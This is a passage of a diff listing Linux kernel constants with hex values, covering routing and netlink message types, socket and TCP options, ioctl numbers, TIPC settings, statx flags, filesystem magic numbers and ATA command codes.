-+ RTAX_FEATURE_ALLFRAG = 0x8
-+ RTAX_FEATURE_ECN = 0x1
-+ RTAX_FEATURE_MASK = 0xf
-+ RTAX_FEATURE_SACK = 0x2
-+ RTAX_FEATURE_TIMESTAMP = 0x4
-+ RTAX_HOPLIMIT = 0xa
-+ RTAX_INITCWND = 0xb
-+ RTAX_INITRWND = 0xe
-+ RTAX_LOCK = 0x1
-+ RTAX_MAX = 0x11
-+ RTAX_MTU = 0x2
-+ RTAX_QUICKACK = 0xf
-+ RTAX_REORDERING = 0x9
-+ RTAX_RTO_MIN = 0xd
-+ RTAX_RTT = 0x4
-+ RTAX_RTTVAR = 0x5
-+ RTAX_SSTHRESH = 0x6
-+ RTAX_UNSPEC = 0x0
-+ RTAX_WINDOW = 0x3
-+ RTA_ALIGNTO = 0x4
-+ RTA_MAX = 0x1e
-+ RTCF_DIRECTSRC = 0x4000000
-+ RTCF_DOREDIRECT = 0x1000000
-+ RTCF_LOG = 0x2000000
-+ RTCF_MASQ = 0x400000
-+ RTCF_NAT = 0x800000
-+ RTCF_VALVE = 0x200000
-+ RTC_AF = 0x20
-+ RTC_IRQF = 0x80
-+ RTC_MAX_FREQ = 0x2000
-+ RTC_PF = 0x40
-+ RTC_UF = 0x10
-+ RTF_ADDRCLASSMASK = 0xf8000000
-+ RTF_ADDRCONF = 0x40000
-+ RTF_ALLONLINK = 0x20000
-+ RTF_BROADCAST = 0x10000000
-+ RTF_CACHE = 0x1000000
-+ RTF_DEFAULT = 0x10000
-+ RTF_DYNAMIC = 0x10
-+ RTF_FLOW = 0x2000000
-+ RTF_GATEWAY = 0x2
-+ RTF_HOST = 0x4
-+ RTF_INTERFACE = 0x40000000
-+ RTF_IRTT = 0x100
-+ RTF_LINKRT = 0x100000
-+ RTF_LOCAL = 0x80000000
-+ RTF_MODIFIED = 0x20
-+ RTF_MSS = 0x40
-+ RTF_MTU = 0x40
-+ RTF_MULTICAST = 0x20000000
-+ RTF_NAT = 0x8000000
-+ RTF_NOFORWARD = 0x1000
-+ RTF_NONEXTHOP = 0x200000
-+ RTF_NOPMTUDISC = 0x4000
-+ RTF_POLICY = 0x4000000
-+ RTF_REINSTATE = 0x8
-+ RTF_REJECT = 0x200
-+ RTF_STATIC = 0x400
-+ RTF_THROW = 0x2000
-+ RTF_UP = 0x1
-+ RTF_WINDOW = 0x80
-+ RTF_XRESOLVE = 0x800
-+ RTMGRP_DECnet_IFADDR = 0x1000
-+ RTMGRP_DECnet_ROUTE = 0x4000
-+ RTMGRP_IPV4_IFADDR = 0x10
-+ RTMGRP_IPV4_MROUTE = 0x20
-+ RTMGRP_IPV4_ROUTE = 0x40
-+ RTMGRP_IPV4_RULE = 0x80
-+ RTMGRP_IPV6_IFADDR = 0x100
-+ RTMGRP_IPV6_IFINFO = 0x800
-+ RTMGRP_IPV6_MROUTE = 0x200
-+ RTMGRP_IPV6_PREFIX = 0x20000
-+ RTMGRP_IPV6_ROUTE = 0x400
-+ RTMGRP_LINK = 0x1
-+ RTMGRP_NEIGH = 0x4
-+ RTMGRP_NOTIFY = 0x2
-+ RTMGRP_TC = 0x8
-+ RTM_BASE = 0x10
-+ RTM_DELACTION = 0x31
-+ RTM_DELADDR = 0x15
-+ RTM_DELADDRLABEL = 0x49
-+ RTM_DELCHAIN = 0x65
-+ RTM_DELLINK = 0x11
-+ RTM_DELLINKPROP = 0x6d
-+ RTM_DELMDB = 0x55
-+ RTM_DELNEIGH = 0x1d
-+ RTM_DELNETCONF = 0x51
-+ RTM_DELNEXTHOP = 0x69
-+ RTM_DELNSID = 0x59
-+ RTM_DELQDISC = 0x25
-+ RTM_DELROUTE = 0x19
-+ RTM_DELRULE = 0x21
-+ RTM_DELTCLASS = 0x29
-+ RTM_DELTFILTER = 0x2d
-+ RTM_DELVLAN = 0x71
-+ RTM_F_CLONED = 0x200
-+ RTM_F_EQUALIZE = 0x400
-+ RTM_F_FIB_MATCH = 0x2000
-+ RTM_F_LOOKUP_TABLE = 0x1000
-+ RTM_F_NOTIFY = 0x100
-+ RTM_F_OFFLOAD = 0x4000
-+ RTM_F_PREFIX = 0x800
-+ RTM_F_TRAP = 0x8000
-+ RTM_GETACTION = 0x32
-+ RTM_GETADDR = 0x16
-+ RTM_GETADDRLABEL = 0x4a
-+ RTM_GETANYCAST = 0x3e
-+ RTM_GETCHAIN = 0x66
-+ RTM_GETDCB = 0x4e
-+ RTM_GETLINK = 0x12
-+ RTM_GETLINKPROP = 0x6e
-+ RTM_GETMDB = 0x56
-+ RTM_GETMULTICAST = 0x3a
-+ RTM_GETNEIGH = 0x1e
-+ RTM_GETNEIGHTBL = 0x42
-+ RTM_GETNETCONF = 0x52
-+ RTM_GETNEXTHOP = 0x6a
-+ RTM_GETNSID = 0x5a
-+ RTM_GETQDISC = 0x26
-+ RTM_GETROUTE = 0x1a
-+ RTM_GETRULE = 0x22
-+ RTM_GETSTATS = 0x5e
-+ RTM_GETTCLASS = 0x2a
-+ RTM_GETTFILTER = 0x2e
-+ RTM_GETVLAN = 0x72
-+ RTM_MAX = 0x73
-+ RTM_NEWACTION = 0x30
-+ RTM_NEWADDR = 0x14
-+ RTM_NEWADDRLABEL = 0x48
-+ RTM_NEWCACHEREPORT = 0x60
-+ RTM_NEWCHAIN = 0x64
-+ RTM_NEWLINK = 0x10
-+ RTM_NEWLINKPROP = 0x6c
-+ RTM_NEWMDB = 0x54
-+ RTM_NEWNDUSEROPT = 0x44
-+ RTM_NEWNEIGH = 0x1c
-+ RTM_NEWNEIGHTBL = 0x40
-+ RTM_NEWNETCONF = 0x50
-+ RTM_NEWNEXTHOP = 0x68
-+ RTM_NEWNSID = 0x58
-+ RTM_NEWNVLAN = 0x70
-+ RTM_NEWPREFIX = 0x34
-+ RTM_NEWQDISC = 0x24
-+ RTM_NEWROUTE = 0x18
-+ RTM_NEWRULE = 0x20
-+ RTM_NEWSTATS = 0x5c
-+ RTM_NEWTCLASS = 0x28
-+ RTM_NEWTFILTER = 0x2c
-+ RTM_NR_FAMILIES = 0x19
-+ RTM_NR_MSGTYPES = 0x64
-+ RTM_SETDCB = 0x4f
-+ RTM_SETLINK = 0x13
-+ RTM_SETNEIGHTBL = 0x43
-+ RTNH_ALIGNTO = 0x4
-+ RTNH_COMPARE_MASK = 0x19
-+ RTNH_F_DEAD = 0x1
-+ RTNH_F_LINKDOWN = 0x10
-+ RTNH_F_OFFLOAD = 0x8
-+ RTNH_F_ONLINK = 0x4
-+ RTNH_F_PERVASIVE = 0x2
-+ RTNH_F_UNRESOLVED = 0x20
-+ RTN_MAX = 0xb
-+ RTPROT_BABEL = 0x2a
-+ RTPROT_BGP = 0xba
-+ RTPROT_BIRD = 0xc
-+ RTPROT_BOOT = 0x3
-+ RTPROT_DHCP = 0x10
-+ RTPROT_DNROUTED = 0xd
-+ RTPROT_EIGRP = 0xc0
-+ RTPROT_GATED = 0x8
-+ RTPROT_ISIS = 0xbb
-+ RTPROT_KERNEL = 0x2
-+ RTPROT_MROUTED = 0x11
-+ RTPROT_MRT = 0xa
-+ RTPROT_NTK = 0xf
-+ RTPROT_OSPF = 0xbc
-+ RTPROT_RA = 0x9
-+ RTPROT_REDIRECT = 0x1
-+ RTPROT_RIP = 0xbd
-+ RTPROT_STATIC = 0x4
-+ RTPROT_UNSPEC = 0x0
-+ RTPROT_XORP = 0xe
-+ RTPROT_ZEBRA = 0xb
-+ RT_CLASS_DEFAULT = 0xfd
-+ RT_CLASS_LOCAL = 0xff
-+ RT_CLASS_MAIN = 0xfe
-+ RT_CLASS_MAX = 0xff
-+ RT_CLASS_UNSPEC = 0x0
-+ RUSAGE_CHILDREN = -0x1
-+ RUSAGE_SELF = 0x0
-+ RUSAGE_THREAD = 0x1
-+ RWF_APPEND = 0x10
-+ RWF_DSYNC = 0x2
-+ RWF_HIPRI = 0x1
-+ RWF_NOWAIT = 0x8
-+ RWF_SUPPORTED = 0x1f
-+ RWF_SYNC = 0x4
-+ RWF_WRITE_LIFE_NOT_SET = 0x0
-+ SCM_CREDENTIALS = 0x2
-+ SCM_RIGHTS = 0x1
-+ SCM_TIMESTAMP = 0x1d
-+ SC_LOG_FLUSH = 0x100000
-+ SECCOMP_MODE_DISABLED = 0x0
-+ SECCOMP_MODE_FILTER = 0x2
-+ SECCOMP_MODE_STRICT = 0x1
-+ SECURITYFS_MAGIC = 0x73636673
-+ SELINUX_MAGIC = 0xf97cff8c
-+ SHUT_RD = 0x0
-+ SHUT_RDWR = 0x2
-+ SHUT_WR = 0x1
-+ SIOCADDDLCI = 0x8980
-+ SIOCADDMULTI = 0x8931
-+ SIOCADDRT = 0x890b
-+ SIOCBONDCHANGEACTIVE = 0x8995
-+ SIOCBONDENSLAVE = 0x8990
-+ SIOCBONDINFOQUERY = 0x8994
-+ SIOCBONDRELEASE = 0x8991
-+ SIOCBONDSETHWADDR = 0x8992
-+ SIOCBONDSLAVEINFOQUERY = 0x8993
-+ SIOCBRADDBR = 0x89a0
-+ SIOCBRADDIF = 0x89a2
-+ SIOCBRDELBR = 0x89a1
-+ SIOCBRDELIF = 0x89a3
-+ SIOCDARP = 0x8953
-+ SIOCDELDLCI = 0x8981
-+ SIOCDELMULTI = 0x8932
-+ SIOCDELRT = 0x890c
-+ SIOCDEVPRIVATE = 0x89f0
-+ SIOCDIFADDR = 0x8936
-+ SIOCDRARP = 0x8960
-+ SIOCETHTOOL = 0x8946
-+ SIOCGARP = 0x8954
-+ SIOCGETLINKNAME = 0x89e0
-+ SIOCGETNODEID = 0x89e1
-+ SIOCGHWTSTAMP = 0x89b1
-+ SIOCGIFADDR = 0x8915
-+ SIOCGIFBR = 0x8940
-+ SIOCGIFBRDADDR = 0x8919
-+ SIOCGIFCONF = 0x8912
-+ SIOCGIFCOUNT = 0x8938
-+ SIOCGIFDSTADDR = 0x8917
-+ SIOCGIFENCAP = 0x8925
-+ SIOCGIFFLAGS = 0x8913
-+ SIOCGIFHWADDR = 0x8927
-+ SIOCGIFINDEX = 0x8933
-+ SIOCGIFMAP = 0x8970
-+ SIOCGIFMEM = 0x891f
-+ SIOCGIFMETRIC = 0x891d
-+ SIOCGIFMTU = 0x8921
-+ SIOCGIFNAME = 0x8910
-+ SIOCGIFNETMASK = 0x891b
-+ SIOCGIFPFLAGS = 0x8935
-+ SIOCGIFSLAVE = 0x8929
-+ SIOCGIFTXQLEN = 0x8942
-+ SIOCGIFVLAN = 0x8982
-+ SIOCGMIIPHY = 0x8947
-+ SIOCGMIIREG = 0x8948
-+ SIOCGPPPCSTATS = 0x89f2
-+ SIOCGPPPSTATS = 0x89f0
-+ SIOCGPPPVER = 0x89f1
-+ SIOCGRARP = 0x8961
-+ SIOCGSKNS = 0x894c
-+ SIOCGSTAMP = 0x8906
-+ SIOCGSTAMPNS = 0x8907
-+ SIOCGSTAMPNS_OLD = 0x8907
-+ SIOCGSTAMP_OLD = 0x8906
-+ SIOCOUTQNSD = 0x894b
-+ SIOCPROTOPRIVATE = 0x89e0
-+ SIOCRTMSG = 0x890d
-+ SIOCSARP = 0x8955
-+ SIOCSHWTSTAMP = 0x89b0
-+ SIOCSIFADDR = 0x8916
-+ SIOCSIFBR = 0x8941
-+ SIOCSIFBRDADDR = 0x891a
-+ SIOCSIFDSTADDR = 0x8918
-+ SIOCSIFENCAP = 0x8926
-+ SIOCSIFFLAGS = 0x8914
-+ SIOCSIFHWADDR = 0x8924
-+ SIOCSIFHWBROADCAST = 0x8937
-+ SIOCSIFLINK = 0x8911
-+ SIOCSIFMAP = 0x8971
-+ SIOCSIFMEM = 0x8920
-+ SIOCSIFMETRIC = 0x891e
-+ SIOCSIFMTU = 0x8922
-+ SIOCSIFNAME = 0x8923
-+ SIOCSIFNETMASK = 0x891c
-+ SIOCSIFPFLAGS = 0x8934
-+ SIOCSIFSLAVE = 0x8930
-+ SIOCSIFTXQLEN = 0x8943
-+ SIOCSIFVLAN = 0x8983
-+ SIOCSMIIREG = 0x8949
-+ SIOCSRARP = 0x8962
-+ SIOCWANDEV = 0x894a
-+ SMACK_MAGIC = 0x43415d53
-+ SMART_AUTOSAVE = 0xd2
-+ SMART_AUTO_OFFLINE = 0xdb
-+ SMART_DISABLE = 0xd9
-+ SMART_ENABLE = 0xd8
-+ SMART_HCYL_PASS = 0xc2
-+ SMART_IMMEDIATE_OFFLINE = 0xd4
-+ SMART_LCYL_PASS = 0x4f
-+ SMART_READ_LOG_SECTOR = 0xd5
-+ SMART_READ_THRESHOLDS = 0xd1
-+ SMART_READ_VALUES = 0xd0
-+ SMART_SAVE = 0xd3
-+ SMART_STATUS = 0xda
-+ SMART_WRITE_LOG_SECTOR = 0xd6
-+ SMART_WRITE_THRESHOLDS = 0xd7
-+ SMB_SUPER_MAGIC = 0x517b
-+ SOCKFS_MAGIC = 0x534f434b
-+ SOCK_DCCP = 0x6
-+ SOCK_IOC_TYPE = 0x89
-+ SOCK_PACKET = 0xa
-+ SOCK_RAW = 0x3
-+ SOCK_RDM = 0x4
-+ SOCK_SEQPACKET = 0x5
-+ SOL_AAL = 0x109
-+ SOL_ALG = 0x117
-+ SOL_ATM = 0x108
-+ SOL_CAIF = 0x116
-+ SOL_CAN_BASE = 0x64
-+ SOL_DCCP = 0x10d
-+ SOL_DECNET = 0x105
-+ SOL_ICMPV6 = 0x3a
-+ SOL_IP = 0x0
-+ SOL_IPV6 = 0x29
-+ SOL_IRDA = 0x10a
-+ SOL_IUCV = 0x115
-+ SOL_KCM = 0x119
-+ SOL_LLC = 0x10c
-+ SOL_NETBEUI = 0x10b
-+ SOL_NETLINK = 0x10e
-+ SOL_NFC = 0x118
-+ SOL_PACKET = 0x107
-+ SOL_PNPIPE = 0x113
-+ SOL_PPPOL2TP = 0x111
-+ SOL_RAW = 0xff
-+ SOL_RDS = 0x114
-+ SOL_RXRPC = 0x110
-+ SOL_TCP = 0x6
-+ SOL_TIPC = 0x10f
-+ SOL_TLS = 0x11a
-+ SOL_X25 = 0x106
-+ SOL_XDP = 0x11b
-+ SOMAXCONN = 0x1000
-+ SO_ATTACH_FILTER = 0x1a
-+ SO_DEBUG = 0x1
-+ SO_DETACH_BPF = 0x1b
-+ SO_DETACH_FILTER = 0x1b
-+ SO_EE_CODE_TXTIME_INVALID_PARAM = 0x1
-+ SO_EE_CODE_TXTIME_MISSED = 0x2
-+ SO_EE_CODE_ZEROCOPY_COPIED = 0x1
-+ SO_EE_ORIGIN_ICMP = 0x2
-+ SO_EE_ORIGIN_ICMP6 = 0x3
-+ SO_EE_ORIGIN_LOCAL = 0x1
-+ SO_EE_ORIGIN_NONE = 0x0
-+ SO_EE_ORIGIN_TIMESTAMPING = 0x4
-+ SO_EE_ORIGIN_TXSTATUS = 0x4
-+ SO_EE_ORIGIN_TXTIME = 0x6
-+ SO_EE_ORIGIN_ZEROCOPY = 0x5
-+ SO_GET_FILTER = 0x1a
-+ SO_NO_CHECK = 0xb
-+ SO_PEERNAME = 0x1c
-+ SO_PRIORITY = 0xc
-+ SO_TIMESTAMP = 0x1d
-+ SO_TIMESTAMP_OLD = 0x1d
-+ SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-+ SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-+ SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-+ SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-+ SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-+ SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-+ SO_VM_SOCKETS_TRUSTED = 0x5
-+ SPLICE_F_GIFT = 0x8
-+ SPLICE_F_MORE = 0x4
-+ SPLICE_F_MOVE = 0x1
-+ SPLICE_F_NONBLOCK = 0x2
-+ SQUASHFS_MAGIC = 0x73717368
-+ STACK_END_MAGIC = 0x57ac6e9d
-+ STATX_ALL = 0xfff
-+ STATX_ATIME = 0x20
-+ STATX_ATTR_APPEND = 0x20
-+ STATX_ATTR_AUTOMOUNT = 0x1000
-+ STATX_ATTR_COMPRESSED = 0x4
-+ STATX_ATTR_ENCRYPTED = 0x800
-+ STATX_ATTR_IMMUTABLE = 0x10
-+ STATX_ATTR_NODUMP = 0x40
-+ STATX_ATTR_VERITY = 0x100000
-+ STATX_BASIC_STATS = 0x7ff
-+ STATX_BLOCKS = 0x400
-+ STATX_BTIME = 0x800
-+ STATX_CTIME = 0x80
-+ STATX_GID = 0x10
-+ STATX_INO = 0x100
-+ STATX_MODE = 0x2
-+ STATX_MTIME = 0x40
-+ STATX_NLINK = 0x4
-+ STATX_SIZE = 0x200
-+ STATX_TYPE = 0x1
-+ STATX_UID = 0x8
-+ STATX__RESERVED = 0x80000000
-+ SYNC_FILE_RANGE_WAIT_AFTER = 0x4
-+ SYNC_FILE_RANGE_WAIT_BEFORE = 0x1
-+ SYNC_FILE_RANGE_WRITE = 0x2
-+ SYNC_FILE_RANGE_WRITE_AND_WAIT = 0x7
-+ SYSFS_MAGIC = 0x62656572
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
-+ TAB0 = 0x0
-+ TASKSTATS_CMD_ATTR_MAX = 0x4
-+ TASKSTATS_CMD_MAX = 0x2
-+ TASKSTATS_GENL_NAME = "TASKSTATS"
-+ TASKSTATS_GENL_VERSION = 0x1
-+ TASKSTATS_TYPE_MAX = 0x6
-+ TASKSTATS_VERSION = 0xa
-+ TCIFLUSH = 0x0
-+ TCIOFF = 0x2
-+ TCIOFLUSH = 0x2
-+ TCION = 0x3
-+ TCOFLUSH = 0x1
-+ TCOOFF = 0x0
-+ TCOON = 0x1
-+ TCP_BPF_IW = 0x3e9
-+ TCP_BPF_SNDCWND_CLAMP = 0x3ea
-+ TCP_CC_INFO = 0x1a
-+ TCP_CM_INQ = 0x24
-+ TCP_CONGESTION = 0xd
-+ TCP_COOKIE_IN_ALWAYS = 0x1
-+ TCP_COOKIE_MAX = 0x10
-+ TCP_COOKIE_MIN = 0x8
-+ TCP_COOKIE_OUT_NEVER = 0x2
-+ TCP_COOKIE_PAIR_SIZE = 0x20
-+ TCP_COOKIE_TRANSACTIONS = 0xf
-+ TCP_CORK = 0x3
-+ TCP_DEFER_ACCEPT = 0x9
-+ TCP_FASTOPEN = 0x17
-+ TCP_FASTOPEN_CONNECT = 0x1e
-+ TCP_FASTOPEN_KEY = 0x21
-+ TCP_FASTOPEN_NO_COOKIE = 0x22
-+ TCP_INFO = 0xb
-+ TCP_INQ = 0x24
-+ TCP_KEEPCNT = 0x6
-+ TCP_KEEPIDLE = 0x4
-+ TCP_KEEPINTVL = 0x5
-+ TCP_LINGER2 = 0x8
-+ TCP_MAXSEG = 0x2
-+ TCP_MAXWIN = 0xffff
-+ TCP_MAX_WINSHIFT = 0xe
-+ TCP_MD5SIG = 0xe
-+ TCP_MD5SIG_EXT = 0x20
-+ TCP_MD5SIG_FLAG_PREFIX = 0x1
-+ TCP_MD5SIG_MAXKEYLEN = 0x50
-+ TCP_MSS = 0x200
-+ TCP_MSS_DEFAULT = 0x218
-+ TCP_MSS_DESIRED = 0x4c4
-+ TCP_NODELAY = 0x1
-+ TCP_NOTSENT_LOWAT = 0x19
-+ TCP_QUEUE_SEQ = 0x15
-+ TCP_QUICKACK = 0xc
-+ TCP_REPAIR = 0x13
-+ TCP_REPAIR_OFF = 0x0
-+ TCP_REPAIR_OFF_NO_WP = -0x1
-+ TCP_REPAIR_ON = 0x1
-+ TCP_REPAIR_OPTIONS = 0x16
-+ TCP_REPAIR_QUEUE = 0x14
-+ TCP_REPAIR_WINDOW = 0x1d
-+ TCP_SAVED_SYN = 0x1c
-+ TCP_SAVE_SYN = 0x1b
-+ TCP_SYNCNT = 0x7
-+ TCP_S_DATA_IN = 0x4
-+ TCP_S_DATA_OUT = 0x8
-+ TCP_THIN_DUPACK = 0x11
-+ TCP_THIN_LINEAR_TIMEOUTS = 0x10
-+ TCP_TIMESTAMP = 0x18
-+ TCP_TX_DELAY = 0x25
-+ TCP_ULP = 0x1f
-+ TCP_USER_TIMEOUT = 0x12
-+ TCP_WINDOW_CLAMP = 0xa
-+ TCP_ZEROCOPY_RECEIVE = 0x23
-+ TIMER_ABSTIME = 0x1
-+ TIOCM_DTR = 0x2
-+ TIOCM_LE = 0x1
-+ TIOCM_RTS = 0x4
-+ TIOCPKT_DATA = 0x0
-+ TIOCPKT_DOSTOP = 0x20
-+ TIOCPKT_FLUSHREAD = 0x1
-+ TIOCPKT_FLUSHWRITE = 0x2
-+ TIOCPKT_IOCTL = 0x40
-+ TIOCPKT_NOSTOP = 0x10
-+ TIOCPKT_START = 0x8
-+ TIOCPKT_STOP = 0x4
-+ TIPC_ADDR_ID = 0x3
-+ TIPC_ADDR_MCAST = 0x1
-+ TIPC_ADDR_NAME = 0x2
-+ TIPC_ADDR_NAMESEQ = 0x1
-+ TIPC_AEAD_ALG_NAME = 0x20
-+ TIPC_AEAD_KEYLEN_MAX = 0x24
-+ TIPC_AEAD_KEYLEN_MIN = 0x14
-+ TIPC_AEAD_KEY_SIZE_MAX = 0x48
-+ TIPC_CFG_SRV = 0x0
-+ TIPC_CLUSTER_BITS = 0xc
-+ TIPC_CLUSTER_MASK = 0xfff000
-+ TIPC_CLUSTER_OFFSET = 0xc
-+ TIPC_CLUSTER_SIZE = 0xfff
-+ TIPC_CONN_SHUTDOWN = 0x5
-+ TIPC_CONN_TIMEOUT = 0x82
-+ TIPC_CRITICAL_IMPORTANCE = 0x3
-+ TIPC_DESTNAME = 0x3
-+ TIPC_DEST_DROPPABLE = 0x81
-+ TIPC_ERRINFO = 0x1
-+ TIPC_ERR_NO_NAME = 0x1
-+ TIPC_ERR_NO_NODE = 0x3
-+ TIPC_ERR_NO_PORT = 0x2
-+ TIPC_ERR_OVERLOAD = 0x4
-+ TIPC_GROUP_JOIN = 0x87
-+ TIPC_GROUP_LEAVE = 0x88
-+ TIPC_GROUP_LOOPBACK = 0x1
-+ TIPC_GROUP_MEMBER_EVTS = 0x2
-+ TIPC_HIGH_IMPORTANCE = 0x2
-+ TIPC_IMPORTANCE = 0x7f
-+ TIPC_LINK_STATE = 0x2
-+ TIPC_LOW_IMPORTANCE = 0x0
-+ TIPC_MAX_BEARER_NAME = 0x20
-+ TIPC_MAX_IF_NAME = 0x10
-+ TIPC_MAX_LINK_NAME = 0x44
-+ TIPC_MAX_MEDIA_NAME = 0x10
-+ TIPC_MAX_USER_MSG_SIZE = 0x101d0
-+ TIPC_MCAST_BROADCAST = 0x85
-+ TIPC_MCAST_REPLICAST = 0x86
-+ TIPC_MEDIUM_IMPORTANCE = 0x1
-+ TIPC_NODEID_LEN = 0x10
-+ TIPC_NODELAY = 0x8a
-+ TIPC_NODE_BITS = 0xc
-+ TIPC_NODE_MASK = 0xfff
-+ TIPC_NODE_OFFSET = 0x0
-+ TIPC_NODE_RECVQ_DEPTH = 0x83
-+ TIPC_NODE_SIZE = 0xfff
-+ TIPC_NODE_STATE = 0x0
-+ TIPC_OK = 0x0
-+ TIPC_PUBLISHED = 0x1
-+ TIPC_RESERVED_TYPES = 0x40
-+ TIPC_RETDATA = 0x2
-+ TIPC_SERVICE_ADDR = 0x2
-+ TIPC_SERVICE_RANGE = 0x1
-+ TIPC_SOCKET_ADDR = 0x3
-+ TIPC_SOCK_RECVQ_DEPTH = 0x84
-+ TIPC_SOCK_RECVQ_USED = 0x89
-+ TIPC_SRC_DROPPABLE = 0x80
-+ TIPC_SUBSCR_TIMEOUT = 0x3
-+ TIPC_SUB_CANCEL = 0x4
-+ TIPC_SUB_PORTS = 0x1
-+ TIPC_SUB_SERVICE = 0x2
-+ TIPC_TOP_SRV = 0x1
-+ TIPC_WAIT_FOREVER = 0xffffffff
-+ TIPC_WITHDRAWN = 0x2
-+ TIPC_ZONE_BITS = 0x8
-+ TIPC_ZONE_CLUSTER_MASK = 0xfffff000
-+ TIPC_ZONE_MASK = 0xff000000
-+ TIPC_ZONE_OFFSET = 0x18
-+ TIPC_ZONE_SCOPE = 0x1
-+ TIPC_ZONE_SIZE = 0xff
-+ TMPFS_MAGIC = 0x1021994
-+ TPACKET_ALIGNMENT = 0x10
-+ TPACKET_HDRLEN = 0x34
-+ TP_STATUS_AVAILABLE = 0x0
-+ TP_STATUS_BLK_TMO = 0x20
-+ TP_STATUS_COPY = 0x2
-+ TP_STATUS_CSUMNOTREADY = 0x8
-+ TP_STATUS_CSUM_VALID = 0x80
-+ TP_STATUS_KERNEL = 0x0
-+ TP_STATUS_LOSING = 0x4
-+ TP_STATUS_SENDING = 0x2
-+ TP_STATUS_SEND_REQUEST = 0x1
-+ TP_STATUS_TS_RAW_HARDWARE = 0x80000000
-+ TP_STATUS_TS_SOFTWARE = 0x20000000
-+ TP_STATUS_TS_SYS_HARDWARE = 0x40000000
-+ TP_STATUS_USER = 0x1
-+ TP_STATUS_VLAN_TPID_VALID = 0x40
-+ TP_STATUS_VLAN_VALID = 0x10
-+ TP_STATUS_WRONG_FORMAT = 0x4
-+ TRACEFS_MAGIC = 0x74726163
-+ TS_COMM_LEN = 0x20
-+ UDF_SUPER_MAGIC = 0x15013346
-+ UMOUNT_NOFOLLOW = 0x8
-+ USBDEVICE_SUPER_MAGIC = 0x9fa2
-+ UTIME_NOW = 0x3fffffff
-+ UTIME_OMIT = 0x3ffffffe
-+ V9FS_MAGIC = 0x1021997
-+ VERASE = 0x2
-+ VINTR = 0x0
-+ VKILL = 0x3
-+ VLNEXT = 0xf
-+ VMADDR_CID_ANY = 0xffffffff
-+ VMADDR_CID_HOST = 0x2
-+ VMADDR_CID_HYPERVISOR = 0x0
-+ VMADDR_CID_LOCAL = 0x1
-+ VMADDR_PORT_ANY = 0xffffffff
-+ VM_SOCKETS_INVALID_VERSION = 0xffffffff
-+ VQUIT = 0x1
-+ VT0 = 0x0
-+ WALL = 0x40000000
-+ WCLONE = 0x80000000
-+ WCONTINUED = 0x8
-+ WDIOC_SETPRETIMEOUT = 0xc0045708
-+ WDIOC_SETTIMEOUT = 0xc0045706
-+ WEXITED = 0x4
-+ WIN_ACKMEDIACHANGE = 0xdb
-+ WIN_CHECKPOWERMODE1 = 0xe5
-+ WIN_CHECKPOWERMODE2 = 0x98
-+ WIN_DEVICE_RESET = 0x8
-+ WIN_DIAGNOSE = 0x90
-+ WIN_DOORLOCK = 0xde
-+ WIN_DOORUNLOCK = 0xdf
-+ WIN_DOWNLOAD_MICROCODE = 0x92
-+ WIN_FLUSH_CACHE = 0xe7
-+ WIN_FLUSH_CACHE_EXT = 0xea
-+ WIN_FORMAT = 0x50
-+ WIN_GETMEDIASTATUS = 0xda
-+ WIN_IDENTIFY = 0xec
-+ WIN_IDENTIFY_DMA = 0xee
-+ WIN_IDLEIMMEDIATE = 0xe1
-+ WIN_INIT = 0x60
-+ WIN_MEDIAEJECT = 0xed
-+ WIN_MULTREAD = 0xc4
-+ WIN_MULTREAD_EXT = 0x29
-+ WIN_MULTWRITE = 0xc5
-+ WIN_MULTWRITE_EXT = 0x39
-+ WIN_NOP = 0x0
-+ WIN_PACKETCMD = 0xa0
-+ WIN_PIDENTIFY = 0xa1
-+ WIN_POSTBOOT = 0xdc
-+ WIN_PREBOOT = 0xdd
-+ WIN_QUEUED_SERVICE = 0xa2
-+ WIN_READ = 0x20
-+ WIN_READDMA = 0xc8
-+ WIN_READDMA_EXT = 0x25
-+ WIN_READDMA_ONCE = 0xc9
-+ WIN_READDMA_QUEUED = 0xc7
-+ WIN_READDMA_QUEUED_EXT = 0x26
-+ WIN_READ_BUFFER = 0xe4
-+ WIN_READ_EXT = 0x24
-+ WIN_READ_LONG = 0x22
-+ WIN_READ_LONG_ONCE = 0x23
-+ WIN_READ_NATIVE_MAX = 0xf8
-+ WIN_READ_NATIVE_MAX_EXT = 0x27
-+ WIN_READ_ONCE = 0x21
-+ WIN_RECAL = 0x10
-+ WIN_RESTORE = 0x10
-+ WIN_SECURITY_DISABLE = 0xf6
-+ WIN_SECURITY_ERASE_PREPARE = 0xf3
-+ WIN_SECURITY_ERASE_UNIT = 0xf4
-+ WIN_SECURITY_FREEZE_LOCK = 0xf5
-+ WIN_SECURITY_SET_PASS = 0xf1
-+ WIN_SECURITY_UNLOCK = 0xf2
-+ WIN_SEEK = 0x70
-+ WIN_SETFEATURES = 0xef
-+ WIN_SETIDLE1 = 0xe3
-+ WIN_SETIDLE2 = 0x97
-+ WIN_SETMULT = 0xc6
-+ WIN_SET_MAX = 0xf9
-+ WIN_SET_MAX_EXT = 0x37
-+ WIN_SLEEPNOW1 = 0xe6
-+ WIN_SLEEPNOW2 = 0x99
-+ WIN_SMART = 0xb0
-+ WIN_SPECIFY = 0x91
-+ WIN_SRST = 0x8
-+ WIN_STANDBY = 0xe2
-+ WIN_STANDBY2 = 0x96
-+ WIN_STANDBYNOW1 = 0xe0
-+ WIN_STANDBYNOW2 = 0x94
-+ WIN_VERIFY = 0x40
-+ WIN_VERIFY_EXT = 0x42
